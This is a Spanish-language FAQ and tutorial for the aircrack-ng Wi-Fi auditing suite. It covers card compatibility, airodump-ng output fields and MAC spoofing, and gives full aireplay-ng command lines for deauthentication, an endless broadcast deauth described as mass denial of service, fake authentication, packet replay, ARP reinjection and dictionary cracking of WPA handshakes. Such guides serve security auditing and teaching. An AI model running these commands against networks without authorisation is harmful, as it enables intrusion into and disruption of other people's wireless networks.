Aircrack-ng Spain

¿Qué es aircrack-ng ?

aircrack-ng es una colección de herramientas para la auditoría de redes inalámbricas:

  • airodump-ng: programa para la captura de paquetes 802.11
  • aireplay-ng: programa para la inyección de paquetes 802.11
  • aircrack-ng: recuperador de claves estáticas WEP y WPA-PSK
  • airdecap-ng: desencripta archivos de capturas WEP/WPA

Recibo el mensaje “cygwin1.dll not found” cuando inicio aircrack.exe.

Puedes descargar esta librería de: sourceforge.net

Para usar aircrack, arrastra el/los archivo(s) de captura .cap o .ivs sobre el ejecutable de aircrack. Si quieres pasarle opciones al programa deberás abrir una consola de comandos (cmd.exe) e introducirlas manualmente.

¿Es compatible mi tarjeta con airodump-ng / aireplay-ng ?

Antes de nada, busca en Google para averiguar cuál es el chipset de tu tarjeta. Por ejemplo, si tienes una Linksys WPC54G busca por “wpc54g chipset linux“. Si aun tienes dudas pasate por el foro

El controlador PEEK no reconoce mi tarjeta.

Los controladores de Windows no reconocen algunas tarjetas, incluso teniendo el chipset correcto. En este caso, abre el administrador de dispositivos, selecciona tu tarjeta, “Actualizar el controlador“, selecciona “Instalar desde una ubicación conocida”, selecciona “No buscar, seleccionaré el controlador a instalar”, haz click en “Utilizar disco”, introduce la ruta donde ha sido descomprimido el archivo, deselecciona “Mostrar hardware compatible”, y elige el controlador.

¿ Qué tarjeta comprar ?

Es la pregunta del millón de dólares. llevamos desde el 2006 creando diferentes tablas de tarjetas imposibles de actualizar debido a que los fabricantes desarrollan nuevos tipos de chipset, suerte que en la misma línea los desarrolladores de controladores sobre todo en linux van a la par. Si podríamos decir que el mejor chipset  Atheros; está muy bien soportado por ambos Windows y Linux.

Ralink hace buenos chipsets, y ha sido muy cooperativo con la comunidad open-source para desarrollar controladores GPL. Ahora la inyección de paquetes está completamente soportada bajo Linux con tarjetas PCI/PCMCIA y USB.

Te recomiendo visitar: foro.seguridadwireless.net/

¿ Cómo uso airodump-ng en Windows ?

Antes de nada, asegúrate de que tu tarjeta es compatible y de que tienes instalado el controlador adecuado. También debes descargar peek.dll y peek5.sys y ponerlos en el mismo directorio que airodump-ng.exe.

A la hora de ejecutar airodump-ng, deberías especificar:

  • El número identificador de la interfaz de red, que debe ser elegido de la lista mostrada por airodump-ng.
  • El tipo de interfaz de red (‘o’ para HermesI y Realtek, ‘a’ para Aironet y Atheros) para versiones viejas. Las nuevas no es necesario.
  • El número de canal, entre 1 y 14. También puedes especificar 0 para altenar entre todos los canales.
  • El prefijo de salida. Por ejemplo, si el prefijo es “foo”, entonces airodump-ng creará foo.cap (paquetes capturados)
  • La opción “sólo IVs”. Debe ser 1 si sólamente quieres guardar los IVs de los paquetes de datos WEP. Esto ahorra espacio, pero el archivo resultante (foo.ivs) sólo será útil para la recuperación de claves WEP.

Para parar de capturar paquetes presiona Ctrl-C. Puede que te salga una pantalla azul, debido a un bug en el controlador PEEK por no salir limpiamente de modo monitor. También puede que el archivo resultante de la captura está vacío. La causa de este bug es desconocida. Para versiones viejas sobre todo, y esta es la razón de lo que pasaba con winairodump de windows, y muchos ignorantes que nos envidian lo usaban como si fuera error del propio winairo, pero que le vamos a hacer, no saben nada pero nada de auditoria wireless, solo de menospreciar el trabajo de los demás.  Y el bug viene derivado del controlador peek. De todas formas tampoco se van a molestar en leer esta guía, allá ellos con su ignorancia, si has llegado hasta aquí, ya sabes la razón de ello. Si leéis la información original del gran maestro Devine, podrás saber que lo que digo es cierto, aunque a esta alturas de mi vida no necesito demostrarle nada a nadie.

¿ Cómo uso airodump-ng en Linux ?

Antes de ejecutar airodump-ng, debes iniciar el script airmon-ng para listar las interfaces inalámbricas detectadas y ponerlas en modo monitor.

  uso: airodump-ng <interfaz> -w <prefijo de salida> -c [canal]
Puedes convertir un archivo .cap / .dump a formato .ivs con el programa pcap2ivs.

Airodump-ng oscila entre WEP y WPA.

Esto ocurre cuando tu controlador no desecha los paquetes corruptos (los que tienen CRC inválido). Si es un Centrino b, simplemente no tiene arreglo; ve y compra una tarjeta mejor. Si es una Prism2, prueba a actualizar el firmware.

¿ Cuál es el significado de los campos mostrados por airodump-ng ?

airodump-ng mostrará una lista con los puntos de acceso detectados, y también una lista de clientes conectados o estaciones (“stations”).

 

 

 BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID

 00:13:10:30:24:9C   46       15     3416   6  54. WEP   the ssid 
 00:09:5B:1F:44:10   36       54        0  11  11  OPN   NETGEAR

 BSSID              STATION            PWR  Packets  Probes

 00:13:10:30:24:9C  00:09:5B:EB:C5:2B   48      719  the ssid
 00:13:10:30:24:9C  00:02:2D:C1:5D:1F  190       17  the ssid

 

BSSID
Dirección MAC del punto de acceso.

PWR
Nivel de señal reportado por la tarjeta. Su significado depende del controlador, pero conforme te acercas al punto de acceso o a la estación la señal aumenta. Si PWR == -1, el controlador no soporta reportar el nivel de señal.

Beacons
Número de paquetes-anuncio enviados por el AP. Cada punto de acceso envía unos diez beacons por segundo al ritmo (rate) mínimo (1M), por lo que normalmente pueden ser recogidos desde muy lejos.

# Data
Número de paquetes de datos capturados (si es WEP, sólo cuenta IVs), incluyendo paquetes de datos de difusión general.

CH
Número de canal (obtenido de los paquetes beacon). Nota: algunas veces se capturan paquetes de datos de otros canales aunque no se esté alternando entre canales debido a las interferencias de radiofrecuencia.

MB
Velocidad máxima soportada por el AP. Si MB = 11, entonces se trata de 802.11b, si MB = 22 entonces es 802.11b+ y velocidades mayores son 802.11g.

ENC
Algoritmo de encriptación en uso. OPN = sin encriptación, “WEP?” = WEP o mayor (no hay suficiente datos para distinguir entre WEP y WPA), WEP (sin la interrogación) indica WEP estática o dinámica, y WPA si TKIP o CCMP están presentes.

ESSID
Conocida como “SSID”, puede estar vacía si el ocultamiento de SSID está activo. En este caso airodump-ng tratará de recuperar el SSID de las respuestas a escaneos y las peticiones de asociación.

STATION
Dirección MAC de cada estación asociada. En la captura de más arriba se han detectado dos clientes (00:09:5B:EB:C5:2B y 00:02:2D:C1:5D:1F).

Nota: podemos encontrar algunas variaciones según las versiones, pero lo fundamental siempre es lo mismo, que son los datos que hemos definido.

¿ Cómo uno dos archivos de captura ?

Puedes usar el programa mergecap (parte del paquete ethereal-common o la distribución win32):

mergecap -w out.cap test1.cap test2.cap test3.cap

Se puede unir archivos .ivs con el programa “mergeivs” (linux sólo).

¿ Puedo usar Ethereal para capturar paquetes 802.11 ?

Bajo Linux, simplemente prepara la tarjeta para modo Monitor con el script airmon-ng.

¿ Cómo cambio mi dirección MAC?

En linux:

ifconfig wlan0 down
ifconfig wlan0 hw ether 00:11:22:33:44:55
ifconfig wlan0 up

Si no funciona, intenta sacar y re-insertar la tarjeta.

Muy interesante y efectivo el programa macchanger

En Windows también podemos modificar la dirección MAC. Hay varias alternativas.

1.- Podemos hacerlo con ciertos programa (ejemplo: Etherchange)

2.-  Si dicho programas no lo permiten siempre hacerlo directamente con las herramientas que el mismo SO incorpora.

¿ Cómo uso aircrack-ng ?

Usage: aircrack [options] <capture file(s)>

Puedes especificar múltiples archivos de entrada (tanto en formato .cap como .ivs). También puedes ejectutar airodump-ng y aircrack-ng al mismo tiempo.

¿ Cómo puedo recuperar claves de una red wifi con WPA-PSK ?

Debes capturar hasta que se produzca un “saludo” (handshake) entre un cliente inalámbrico y el punto de acceso. Para forzar al cliente a reautenticarse puedes iniciar un ataque de deautenticación con aireplay. También es necesario un buen diccionario.

Para tu información. No es posible pre-computar grandes tablas de Pairwise Master Keys como hace rainbowcrack, puesto que la contraseña está entremezclada con el ESSID.

Ha habido alguna desinformación en las noticias acerca de las fallas de TKIP:

Por ahora, TKIP es razonablemente seguro por sí solo viviendo un tiempo prestado ya que se apoya en el mismo algoritmo RC4 en el que se apoyó WEP.

Realmente, TKIP (WPA1) no es vulnerable: para cada paquete, el IV de 48-bit está mezclado con la clave temporal pairwise de 128-bit para crear una clave RC4 de 104-bit, por lo que no hay ninguna correlación de tipo estadístico . Es más, WPA proporciona contramedidas ante ataques activos (reinyección de tráfico), incluye un mensaje de integridad de código más fuerte (michael), y tiene un protocolo de autenticacaión muy robusto (“saludo” de 4 fases). La única vulnerabilidad a tener en cuenta es el ataque con diccionario, que falla si la contraseña es lo suficientemente robusta.

WPA2 (aka 802.11i) es exactamente lo mismo que WPA1, excepto que usa CCMP (////AES in counter mode////) en lugar de RC4 y HMAC-SHA1 en lugar de HMAC-MD5 para el EAPOL MIC. Como apunte final, WPA2 es un poco mejor que WPA1, pero ninguno de los dos será posible una recuperación de claves en un futuro cercano.

He encontrado una clave, ¿cómo desencripto un archivo de captura ?

Puedes usa el programa airdecap-ng :

  uso: airdecap-ng [opciones] <archivo pcap>

      -l       : no elimina la cabecera del 802.11
      -b bssid : filtro de dirección MAC del punto de acceso
      -k pmk   : WPA Pairwise Master Key en hex
      -e essid : Identificador en ascii de la red escogida
      -p pass  : contraseña WPA de la red escogida
      -w key   : clave WEP de la red escogida en hex

  ejemplos:

  airdecap-ng -b 00:09:5B:10:BC:5A open-network.cap
  airdecap-ng -w 11A3E229084349BC25D97E2939 wep.cap
  airdecap-ng -e "el ssid" -p contraseña  tkip.cap

¿Recupera WZCOOK también claves WPA ?

WZCOOK mostrará el PMK (Pairwise Master Key), un valor de 256-bit que es el resultado de codificar 8192 veces la contraseña junto con el ESSID y la longitud del ESSID. La contraseña en sí no se puede recuperar — de todos modos, basta con conocer el PMK para conectar con una red inalámbrica protegida mediante WPA con wpa_supplicant (ver el Windows README). Tu archivo de configuración wpa_supplicant.conf debería quedar así:

network={
ssid=”mi_essid”
pmk=5c9597f3c8245907ea71a89d[…]9d39d08e
}

El controlador no compila.

Esto normalmente ocurre cuando las cabeceras no coinciden con el kernel que estás usando. En esta situación simplemente recompila un kernel nuevo, instálalo y reinicia. Luego, prueba otra vez a compilar el controlador. Cada día es mas difícil crear una distribución linux compatible con la multitud de dispositivos.

¿ Cómo uso aireplay-ng ?

Si el controlador está correctamente parcheado, aireplay-ng es capaz de inyectar paquetes 802.11 en modo Monitor en bruto; fundamentalmente implementa un conjunto principal de 5 ataques diferentes .

Si recibes el mensaje “ioctl(SIOCGIFINDEX) failed: No such device“, revisa que el nombre de tu dispositivo es correcto y que no has olvidado un parámetro en la línea de comandos.

En los siguientes ejemplos, 00:13:10:30:24:9C es la dirección MAC del punto de acceso (en el canal 6), y 00:09:5B:EB:C5:2B es la dirección MAC de un cliente inalámbrico.

  • Ataque 0: desautenticación
  • Este ataque es probablemente el más útil para recuperar un ESSID oculto (no difundido) y para capturar “saludos” WPA forzando a los clientes a reautentificarse. También puede ser usado para generar peticiones ARP en tanto que los clientes Windows a veces vacían su cache de ARP cuando son desconectados. Desde luego, este ataque es totalmente inservible si no hay clientes asociados.Normalmente es más efectivo fijar como blanco una estación específica usando el parámetro -c.
  • Algunos ejemplos:
    • Captura del “saludo” WPA 
      airmon-ng start wlan0
      airodump-ng mon0 -w out -c 6  (cambia a otra consola)
      aireplay-ng -0 5 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B mon0
      (espera unos segundos)
      aircrack-ng -w /ruta/al/diccionario out.cap
    • Generar peticiones ARP 
      airmon-ng start wlan0
      airodump-ng mon0 -w out -c 6  (cambia a otra consola)
      aireplay-ng -0 10 -a 00:13:10:30:24:9C mon0
      aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B mon0
      

      Después de enviar tres tandas de paquetes de desautentificación, comenzamos a escuchar en busca de peticiones ARP con el ataque 3. La opción -h es esencial y debe ser la dirección MAC de un cliente asociado.

    • Denegación de servicio masiva 
      airmon-ns start wlan0
      aireplay-ng -0 0 -a 00:13:10:30:24:9C mon0

      Con el parámetro 0, este ataque enviará en un bucle infinito paquetes de desautentificación a las direcciones de broadcast, evitando así que los clientes permanezcan conectados.

      Ataque 1: autenticación falsa

    • Este ataque es particularmente útil cuando no hay clientes asociados: creamos la dirección MAC de un cliente falso, la cual quedará registrada en la tabla de asociación del AP. Esta dirección será usada para los ataques 3 (reinyección de peticiones ARP) y 4 (desencriptación WEP “chopchop”). Es mejor preparar la tarjeta con la MAC usada (abajo, 00:11:22:33:44:55) de modo que el controlador envíe ACKs de forma adecuada.De todos modos si este ataque falla y hay ya un cliente asociado, es más efectivo usar simplemente su dirección MAC (aquí, 00:09:5B:EB:C5:2B) para los ataques 3 y 4.
      ifconfig wlan0 down
      ifconfig wlan0 hw ether 00:11:22:33:44:55
      ifconfig wlan0 up
      // o bien macchanger -c 00:11:22:33:44:55 wlan0
      aireplay-ng -1 0 -e "el ssid" -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 mon0
      12:14:06  Sending Authentication Request
      12:14:06  Authentication successful
      12:14:06  Sending Association Request
      12:14:07  Association successful :-)

      Algunos puntos de acceso requieren de reautentificación cada 30 segundos, si no nuestro cliente falso será considerado desconectado. En este caso utiliza el retardo de re-asociación periódica:

      aireplay-ng -1 30 -e "el ssid" -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 mon0

      Si este ataque parece fallar (aireplay-ng permanece enviando paquetes de petición de autenticación), puede que esté siendo usado un filtrado de direcciones MAC. Asegúrate también de que:

      • Estás lo suficientemente cerca del punto de acceso, pero ojo no demasiado porque también puede fallar.
      • El controlador está correctamente parcheado e instalado.
      • La tarjeta está configurada en el mismo canal que el AP.
      • El BSSID y el ESSID (opciones -a / -e) son correctos.
      • Si se trata de Prism2, asegúrate de que el firmware está actualizado.

       

  • Ataque 2: Reenvío interactivo de paquetes
  • Este ataque te permite elegir un paquete dado para reenviarlo; a veces proporciona resultados más efectivos que el ataque 3 (reinyección automática de ARP).Podrías usarlo, por ejemplo, para intentar el ataque “redifundir cualesquiera datos”, el cuál sólo funciona si el AP realmente reencripta los paquetes de datos WEP:
    aireplay-ng -2 -b 00:13:10:30:24:9C -n 100 -p 0841 \
        -h 00:09:5B:EB:C5:2B -c FF:FF:FF:FF:FF:FF mon0

    También puedes usar el ataque 2 para reenviar manualmente paquetes de peticiones ARP encriptacas con WEP, cuyo tamaño es bien 68 o 86 bytes (dependiendo del sistema operativo):

    aireplay-ng -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
        -m 68 -n 68 -p 0841 -h 00:09:5B:EB:C5:2B mon0
    
    aireplay-ng -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
        -m 86 -n 86 -p 0841 -h 00:09:5B:EB:C5:2B mon0
  • Ataque 3: Reinyección de petición ARP
  • El clásico ataque de reinyección de petición ARP es el mas efectivo para generar nuevos IVs, y funciona de forma muy eficaz. Necesitas o bien la dirección MAC de un cliente asociado (00:09:5B:EB:C5:2B), o bien la de un cliente falso del ataque 1 (00:11:22:33:44:55). Puede que tengas que esperar un par de minutos, o incluso más, hasta que aparezca una petición ARP; este ataque fallará si no hay tráfico.Por favor, fíjate en que también puedes reutilizar una petición ARP de una captura anterior usando el interruptor -r .
    aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 mon0
    Saving ARP requests in replay_arp-0627-121526.cap
    You must also start airodump to capture replies.
    Read 2493 packets (got 1 ARP requests), sent 1305 packets...